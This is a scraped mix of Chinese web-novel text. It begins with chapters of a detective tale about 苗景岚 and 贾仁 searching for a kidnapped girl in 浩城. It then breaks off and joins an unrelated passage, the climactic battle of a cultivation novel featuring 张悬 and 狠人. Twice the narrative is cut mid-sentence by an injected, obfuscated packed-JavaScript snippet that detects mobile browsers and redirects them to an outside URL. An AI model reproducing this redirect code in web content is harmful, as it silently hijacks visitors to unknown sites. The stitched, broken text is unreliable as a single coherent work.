他努力回想之前的经历,“大约是在半年前,我和妹妹来到浩城的市中心来乞讨。我们每天中午来到闹市区,向过往的商人讨要食物和钱财,或许是因为妹妹是个女孩,长得又可爱,每回她讨到的钱财和食物都比我多。” “就这样,我们在这里过了一个多月。有一天,我和妹妹约好,我在街头乞讨,她在街尾乞讨,这样凡是经过这条街的人我们都可以讨到。如果运气好的话,我们还可以要到两份。” “那天我的运气也确实挺好,有一个大胡子的商人让我给他送一封信,就给我十文钱。我拿着十文钱去找妹妹,却发现她根本不在街尾。我以为她跑到别的地方去玩了,可是我一直等到天黑,也没有看到妹妹的踪迹。我问过周围所有的人,他们都说没有看见妹妹,我才确定她是被人拐走的。” “那你跟你妹妹分开的这段时间有多久?那个叫你送信的商人是怎么找上你的?”苗景岚一步步的引导对方。 小乞丐继续努力的回想,“我们是中午的时候才分开的,大概也就一两个时辰吧。那个商人看着眼生,我好像第一回看到他,或许是他从这里经过,才找我帮忙的。” “既然你看着他觉得面生,那么说明他很少在这里经过。一个生意人怎么会把自己的信——这样重要的东西,交给一个面生的孩子去送呢?”苗景岚从小乞丐的话里面找到疑点。 小乞丐阿扎汗也恍然大悟,“你是说,拐走我妹妹的就是那个商人?他特意支开我,就是为了把我的妹妹拐走?我真蠢啊,居然上了他的当!” “现在还不可以肯定,但是拐走你妹妹的肯定不止一个人。有人故意扮成商人支开你,然后让他的同伙带走你的妹妹,来一招声东击西。”苗景岚展开合理的推断。 “那我们要怎样才能找到我的妹妹?我们现在就开始找吗?”阿扎汗焦急的催促着。 贾仁一见阿扎汗这焦急的模样,顿时不乐意了,“喂喂喂,小家伙。我们答应帮你了吗?要知道使唤人可是要花工钱的?你花钱雇我们找你妹妹了吗?” “我现在不能给你们钱,但我将来可以给你们很多的钱,只要你们肯帮我找妹妹。要不我跟着你们干活,只要能帮我找到妹妹,我什么活都愿意干。我现在跟你们签卖身契也可以,我可以跟你们当一辈子的奴隶,我保证干活不偷懒,而且我学东西还快。” 贾仁被对方这殷勤的模样逗乐了,“你这么容易就把自己给卖了?你想给我们当奴隶,还要我们乐意呢。我们是来浩城旅行的,不是来这里帮谁找妹妹的。” 没想到阿纳汗居然扑通一声跪下来,“我的大恩人,只要你们肯帮我,我做什么都可以。你们不是要在这里旅行吗?但是浩城这里不流行说官话,你们又不懂浩城当地的语言,我可以给你们当翻译。还有这里有很多危险的地方,我可以告诉你们在哪里,有什么好吃的,好玩的,我都可以带你们去,只要你们肯帮我!” 第52章 青稞酒(5) 贾仁还打算继续戏弄阿纳汗,可是苗景岚却一口答应:“你明天来吧,我们到浩城逛逛,并且看看怎样找到你的妹妹。顺便问一句,你叫什么名字?” “阿纳汗,我叫阿纳汗,大恩人。” “哦,原来你叫阿纳汗。以后你不用管我叫大恩人,我姓苗,叫苗姑娘好了。” “好,大恩人,不,苗姑娘,我明天再来。” 阿纳汗心情愉悦,蹦蹦跳跳的离开。 贾仁看着对方的背影,有些不解的问:“你怎么这么快就答应了这小子,要知道他昨天还偷过我们的钱包呢。你答应他跟在我们的身边,就不怕他又重操旧业?” “我相信他身上还有一分良知,之前做坏事只是想人帮他找妹妹。再说了,我们把他带在身边,就算他重操旧业,我们也可以收拾他。” “岚儿,我就说你这个人心口不一嘛。嘴里面说得那样狠,但是一旦遇上什么事,还是心软不是?不过,这也是我看上你的原因。只是我们这好端端的来浩城旅行,突然变成追查拐卖案,唉……”贾仁一脸生无可恋的模样。 贾仁长相英俊,此时说话脸上却带着几分戏谑。 苗景岚扫过贾仁一眼,一句话戳穿他:“别装了,你嘴上虽然不说,心里面是不是特别期待找到阿纳汗的妹妹?” “我们初次相识,就是因为查案。后来我们走到一起,也是因为查案。我虽然答应你来到浩城,但我知道你心里面还是有搁不下的案子。你说得不乐意,但我从你眼睛里看出来,你还是很希望能够帮助到阿纳汗的。” “知我者,你也。”贾仁对苗景岚弯唇一笑。 “不过,你只说对了一半。我心里面确实有放不下的案子,也确实想过叫你帮忙。但是,我带你来浩城,确实是因为想带你来看看这西北草原的秋天景色。只可惜我们来到这里又遇到新的案子,只怕是没时间去看风景了。”贾仁觉得有些惋惜。 “想去看风景随时随地都可以,但阿纳汗的妹妹就只有一个,我们早一些找到他的妹妹,他的妹妹就多一份安全。至于浩城的风景,我们也可以一边查案一边来欣赏。” 贾仁略一思量,“我们在浩城人生地不熟,要怎样才能帮阿纳汗找到妹妹呢?” “我刚才听阿纳汗的描述,他是先被人差使去送信,然后自己的妹妹就被人拐了。我怀疑这是一个团伙做案,而在这里能够做到拐卖人口又毫发无损的,肯定与当地的官府或者说地头蛇有关。” “那确实是。要是没有人关照,这伙人不敢这么大的胆子。”贾仁也认可苗景岚的猜测。 “那怎么办?我们在这里人生地不熟的?”苗景岚用意味深长的眼神看一眼贾仁。 贾仁立刻心领神会,“行,明天我们就去浩城的县衙走一趟。不过,你就不怕我跟浩城的县令不熟。” “你不需要跟县令熟,你只要亮出你的身份玉牌就可以了。”苗景岚不愿意戳穿他的小身份。 “岚儿,你知道我的身份?”贾仁颇有些惊讶。 “我不需要知道你确切的身份,只要知道你的身份这个时候拿出来唬那些装腔作势又不肯作为的大兴国官员就可以了。” “明白了,你要我拿着玉牌去狐假虎威?” “你不经常这样做吗?” “额……好吧,算你说对了。我们这就走这一趟吧。” …… 浩城。 县衙。 浩城的前身,其实是辽人喂马的一个据点。 后来辽国与大兴国开战,辽国输得一塌糊涂。 从此之后,辽国每年都会向大兴国进贡。 而那个原本是辽人喂马的小小据点,逐渐发展为边境的一个交易地点,再后来成为大兴国的一个小小郡县,最后才会有现在的浩城。 所以,严格意义上来说,浩城原本是属于辽国的土地。 因此,每隔十年,大兴国派来浩城的官员都会辽国话。 而住在浩城的百姓,有一半以上都是辽国迁居过来的,或者说有着辽国的血统。 每隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893889|175702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十年,大兴国都会派新上任的县令过来。 但是,真正掌管这片土地的,却未必是新上任的县令。 “大人,下官去年才来浩城赴任,对这上上下下并不熟悉。之前并不知道公子的身份,望公子恕罪。”浩城的丁县令是一个年过半百的老头,在看过贾仁的玉牌之后,立刻变得局促不安起来。 “丁县令不用紧张,我只是路过这里,随便来看看而已。都说浩城的秋景不错,我特意带朋友来欣赏一下。” 丁县令听到这话,才微微放心。 “公子若是喜欢浩城的景色,下官倒是可以带公子四处看看。下官虽然不才,来浩城一年多也毫无建树,但至少做个向导还是可以的。” “丁县令懂辽语?” “略懂一些,说得不好,但听还是听得懂的。” “丁县令知道你这里有人拐卖女童吗?”贾仁冷不丁冒出这么一句,直接让丁县令的后背发凉。 丁县令扑通一声跪倒在地上,连连求饶:“哎呀,公子,请恕下官愚钝。下官来这浩城虽上任一年多,但接到的官司还不足十起。这浩城上上下下以辽国的遗民居多,他们不熟悉大兴国的律法,也不按照大兴国的方式办事,更不喜欢我这从大兴国调来的官员。公子说的女童拐卖案,下官实在不知呀。” 苗景岚和贾仁一听这话,瞬间明白过来。 原来这浩城说穿了还是辽人的城池,哪怕大兴国打败了辽国,但在这里居住的百姓还是以辽人自居。 这个大兴国派下来的县令在这里也是形同虚设。 贾仁心想,人家都年过半百,还要被派到这偏远的边境之地上任,多半是朝廷里没有后台,又或者是得罪上官,被发配到这里任职。 想想就觉得心酸,也不好多说人家什么。 “既然丁县令对浩城并没有实质性的管辖权,那这里真正管事的人又是谁?浩城的百姓平常有什么事情,会去找谁帮忙呢?” 堂堂县令没有实权,遇事还要找别人,也真是悲催。 第53章 青稞酒(6) 丁县令的额头上微微沁出汗珠,看到贾仁顿时觉得浑身不自在。 也难怪这老头儿觉得不自在,只怕他从进京赶考到浩城赴任都没有见过这样大的官。 “实不相瞒,下官虽是当地的县令,但真正在这里管事的却是浩城当地的一个百户。”丁县令如是说。 “百户”是辽人的一个官职,算是统领管辖一百户家庭的一个官员。 这个官职在大兴国也许算不得什么,管理的人口并不算多,但是在辽国这个人口稀少的国家而言,那就是一个大官了。 辽国虽然被大兴国所灭,但是生活在浩城的人还是以辽人自居,也以辽国的官员管理制度为主。 所以,才会出现百姓不识县令,却以这个百户为尊的事情发生。 “你们这里的百户是谁?”苗景岚好奇的问道。 战战兢兢的丁县令朝苗景岚看去,他知道贾仁身份尊贵,那跟他站在一处的女人也并非是普通人。 丁县令也不敢怠慢,对苗景岚说:“自辽国战败,浩城建成之后,这浩城的百户就由以前打败辽国的一位将军暂代其职。现在的百户就是这位将军的后人。” “将军?你说的可是当年击退辽军的叶赫大将军。”提到当年守卫国门的大将军,贾仁的眼睛瞬间亮起来。 他之所以来到浩城,可不光是为了看一看浩城美丽的风景,更是为了亲自寻访这位大将军,最好亲自见一面。 丁县令点点头,回应道:“正是。” 贾仁立刻来了兴致,“那还请丁县令带我们见一见这位百户大人,我们想见一见他。” “荣幸至极。” 贾仁和苗景岚便跟着丁县令来寻找这位百户大人。 去之前贾仁担心礼数不够,还提溜着两件礼物才上门。 一是今年新出的茶叶,二是当地最好的点心店卖的茶果子。 这两件东西搁在京城可能有些寒酸,但是放在这物质匮乏的浩城可算是大手笔。 一想到见到传说中那位战功赫赫的大将军,贾仁的心情就有一些小小的激动呢。 浩城的百户并没有住在什么闹市区,而是住在郊外的一栋两层楼的木质结构楼房里。 这栋楼房看上去也有几十年的历史了,有的地方已经破损,木头不是烂掉,就是布满青苔,一点儿也不像是住着身份尊贵之人的地方。 苗景岚见状,在心里面想,这位百户大人倒也过得挺朴素。 百户住处的下人看见丁县令来了,走出门外迎接。 “你们百户大人在家吗?”丁县令问。 百户的下人用不太标准的大兴话回答:“大人出门了,要等一会儿才会回来。” “哦,那我们就等一会儿吧。”丁县令说罢,便带着贾仁和苗景岚在百户大人的住处坐下来。 这一等就是几柱香的时间,快到中午,也没有看到百户大人的身影。 贾仁有一些坐不住,“既然百户大人不在,那我们就改天再来打扰。” 他刚要出门,就听到木楼里传来清脆的脚步声,杂夹着一个女子的说话声。 那女人说的是浩城当地的方言,其实就是改良过后的辽语,贾仁和苗景岚都听不太懂。 当那女人走进来时,恰巧跟贾仁撞了一个满怀。 苗景岚看清楚那女子的样貌,那是一个二十出头的浩城少女,穿着一身当地特有的彩色裙子。 那裙子是由当地的绣娘用蜡染的方式制作而成,而少女似乎把那裙子改良过,原本是长长的拖到地上的裙子,硬生生的被她改短了,下面还罩着一条青黑色的麻布短裤,看样子是为了方便活动。 少女一看到贾仁,有一些吃惊,然后一双漂亮的琥珀色眼睛一直打量着贾仁。 那少女瘦瘦高高,留着一头又长又卷的头发,头上箍着一个花环,皮肤呈健康的小麦色,五官带有很明显的辽国人的特色。长得不算漂亮,但唯独那双眼睛闪烁着精光。 少女叫了一声,百户的下人马上赶过来,尊敬的朝少女行一个礼,然后朝少女介绍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 